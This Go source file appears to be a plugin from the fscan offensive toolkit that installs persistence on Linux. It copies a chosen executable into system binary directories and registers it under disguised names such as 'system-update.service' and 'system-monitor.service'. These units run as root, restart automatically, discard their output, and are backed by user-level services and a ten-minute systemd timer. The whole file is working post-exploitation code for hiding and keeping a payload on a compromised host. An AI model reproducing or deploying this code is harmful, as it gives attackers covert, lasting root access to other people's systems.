//go:build linux package local import ( "context" "fmt" "os" "os/exec" "path/filepath" "runtime" "strings" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/plugins" ) // SystemdServicePlugin 系统服务持久化插件 - Linus式简化版本 // // 设计哲学:直接实现,删除过度设计 // - 删除复杂的继承体系 // - 直接实现系统服务持久化功能 // - 保持原有功能逻辑 type SystemdServicePlugin struct { plugins.BasePlugin targetFile string } // NewSystemdServicePlugin 创建系统服务持久化插件 func NewSystemdServicePlugin() *SystemdServicePlugin { targetFile := common.PersistenceTargetFile if targetFile == "" { targetFile = "" } return &SystemdServicePlugin{ BasePlugin: plugins.NewBasePlugin("systemdservice"), targetFile: targetFile, } } // Scan 执行系统服务持久化 - 直接实现 func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { var output strings.Builder if runtime.GOOS != "linux" { output.WriteString("系统服务持久化只支持Linux平台\n") return &ScanResult{ Success: false, Output: output.String(), Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), } } if p.targetFile == "" { output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n") return &ScanResult{ Success: false, Output: output.String(), Error: fmt.Errorf("未指定目标文件"), } } // 检查目标文件是否存在 if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", p.targetFile)) return &ScanResult{ Success: false, Output: output.String(), Error: err, } } // 检查systemctl是否可用 if _, err := exec.LookPath("systemctl"); err != nil { output.WriteString(fmt.Sprintf("systemctl命令不可用: %v\n", err)) return &ScanResult{ Success: false, Output: output.String(), Error: err, } } output.WriteString("=== 系统服务持久化 ===\n") output.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile)) output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) var results []string var successCount int // 1. 复制文件到服务目录 servicePath, err := p.copyToServicePath() if err != nil { output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err)) } else { results = append(results, fmt.Sprintf("文件已复制到: %s", servicePath)) output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", servicePath)) successCount++ } // 2. 创建systemd服务文件 serviceFiles, err := p.createSystemdServices(servicePath) if err != nil { output.WriteString(fmt.Sprintf("✗ 创建systemd服务失败: %v\n", err)) } else { results = append(results, fmt.Sprintf("已创建systemd服务: %s", strings.Join(serviceFiles, ", "))) output.WriteString(fmt.Sprintf("✓ 已创建systemd服务: %s\n", strings.Join(serviceFiles, ", "))) successCount++ } // 3. 启用并启动服务 err = p.enableAndStartServices(serviceFiles) if err != nil { output.WriteString(fmt.Sprintf("✗ 启动服务失败: %v\n", err)) } else { results = append(results, "服务已启用并启动") output.WriteString("✓ 服务已启用并启动\n") successCount++ } // 4. 创建用户级服务 userServiceFiles, err := p.createUserServices(servicePath) if err != nil { output.WriteString(fmt.Sprintf("✗ 创建用户服务失败: %v\n", err)) } else { results = append(results, fmt.Sprintf("已创建用户服务: %s", strings.Join(userServiceFiles, ", "))) output.WriteString(fmt.Sprintf("✓ 已创建用户服务: %s\n", strings.Join(userServiceFiles, ", "))) successCount++ } // 5. 创建定时器服务 err = p.createTimerServices(servicePath) if err != nil { output.WriteString(fmt.Sprintf("✗ 创建定时器服务失败: %v\n", err)) } else { results = append(results, "已创建systemd定时器") output.WriteString("✓ 已创建systemd定时器\n") successCount++ } // 输出统计 output.WriteString(fmt.Sprintf("\n系统服务持久化完成: 成功(%d) 总计(%d)\n", successCount, 5)) if successCount > 0 { common.LogSuccess(fmt.Sprintf("系统服务持久化完成: %d个方法成功", successCount)) } return &ScanResult{ Success: successCount > 0, Output: output.String(), Error: nil, } } // copyToServicePath 复制文件到服务目录 func (p *SystemdServicePlugin) copyToServicePath() (string, error) { // 选择服务目录 serviceDirs := []string{ "/usr/local/bin", "/opt/local", "/usr/bin", } var targetDir string for _, dir := range serviceDirs { if err := os.MkdirAll(dir, 0755); err == nil { targetDir = dir break } } if targetDir == "" { return "", fmt.Errorf("无法创建服务目录") } // 生成服务可执行文件名 basename := filepath.Base(p.targetFile) serviceName := strings.TrimSuffix(basename, filepath.Ext(basename)) if serviceName == "" { serviceName = "system-service" } targetPath := filepath.Join(targetDir, serviceName) // 复制文件 err := p.copyFile(p.targetFile, targetPath) if err != nil { return "", err } // 设置执行权限 os.Chmod(targetPath, 0755) return targetPath, nil } // copyFile 复制文件内容 func (p *SystemdServicePlugin) copyFile(src, dst string) error { sourceData, err := os.ReadFile(src) if err != nil { return err } return os.WriteFile(dst, sourceData, 0755) } // createSystemdServices 创建systemd服务文件 func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) { systemDir := "/etc/systemd/system" if err := os.MkdirAll(systemDir, 0755); err != nil { return nil, err } services := []struct { name string content string enable bool }{ { name: "system-update.service", enable: true, content: fmt.Sprintf(`[Unit] Description=System Update Service After=network.target Wants=network-online.target [Service] Type=simple User=root ExecStart=%s Restart=always RestartSec=60 StandardOutput=null StandardError=null [Install] WantedBy=multi-user.target `, execPath), }, { name: "system-monitor.service", enable: true, content: fmt.Sprintf(`[Unit] Description=System Monitor Service After=network.target [Service] Type=forking User=root ExecStart=%s PIDFile=/var/run/system-monitor.pid Restart=on-failure StandardOutput=null StandardError=null [Install] WantedBy=multi-user.target `, execPath), }, { name: "network-check.service", enable: false, content: fmt.Sprintf(`[Unit] Description=Network Check Service After=network-online.target Wants=network-online.target [Service] Type=oneshot User=root ExecStart=%s StandardOutput=null StandardError=null `, execPath), }, } var created []string for _, service := range services { servicePath := filepath.Join(systemDir, service.name) if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil { created = append(created, service.name) } } if len(created) == 0 { return nil, fmt.Errorf("无法创建任何systemd服务文件") } return created, nil } // enableAndStartServices 启用并启动服务 func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error { var errors []string for _, serviceName := range serviceFiles { // 重新加载systemd配置 exec.Command("systemctl", "daemon-reload").Run() // 启用服务 if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil { errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err)) } // 启动服务 if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil { errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err)) } } if len(errors) > 0 { return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; ")) } return nil } // createUserServices 创建用户级服务 func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) { userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user") if userDir == "/.config/systemd/user" { // HOME为空的情况 userDir = "/tmp/.config/systemd/user" } if err := os.MkdirAll(userDir, 0755); err != nil { return nil, err } userServices := []string{ "user-service.service", "background-task.service", } userServiceContent := fmt.Sprintf(`[Unit] Description=User Background Service After=graphical-session.target [Service] Type=simple ExecStart=%s Restart=always RestartSec=30 StandardOutput=null StandardError=null [Install] WantedBy=default.target `, execPath) var created []string for _, serviceName := range userServices { servicePath := filepath.Join(userDir, serviceName) if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil { created = append(created, serviceName) // 启用用户服务 exec.Command("systemctl", "--user", "enable", serviceName).Run() exec.Command("systemctl", "--user", "start", serviceName).Run() } } return created, nil } // createTimerServices 创建定时器服务 func (p *SystemdServicePlugin) createTimerServices(execPath string) error { systemDir := "/etc/systemd/system" // 创建定时器服务文件 timerService := fmt.Sprintf(`[Unit] Description=Scheduled Task Service Wants=scheduled-task.timer [Service] Type=oneshot ExecStart=%s StandardOutput=null StandardError=null `, execPath) // 创建定时器文件 timerConfig := `[Unit] Description=Run Scheduled Task Every 10 Minutes Requires=scheduled-task.service [Timer] OnBootSec=5min OnUnitActiveSec=10min AccuracySec=1s [Install] WantedBy=timers.target ` // 写入服务文件 serviceFile := filepath.Join(systemDir, "scheduled-task.service") if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil { return err } // 写入定时器文件 timerFile := filepath.Join(systemDir, "scheduled-task.timer") if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil { return err } // 启用定时器 exec.Command("systemctl", "daemon-reload").Run() exec.Command("systemctl", "enable", "scheduled-task.timer").Run() exec.Command("systemctl", "start", "scheduled-task.timer").Run() return nil } // 注册插件 func init() { RegisterLocalPlugin("systemdservice", func() Plugin { return NewSystemdServicePlugin() }) }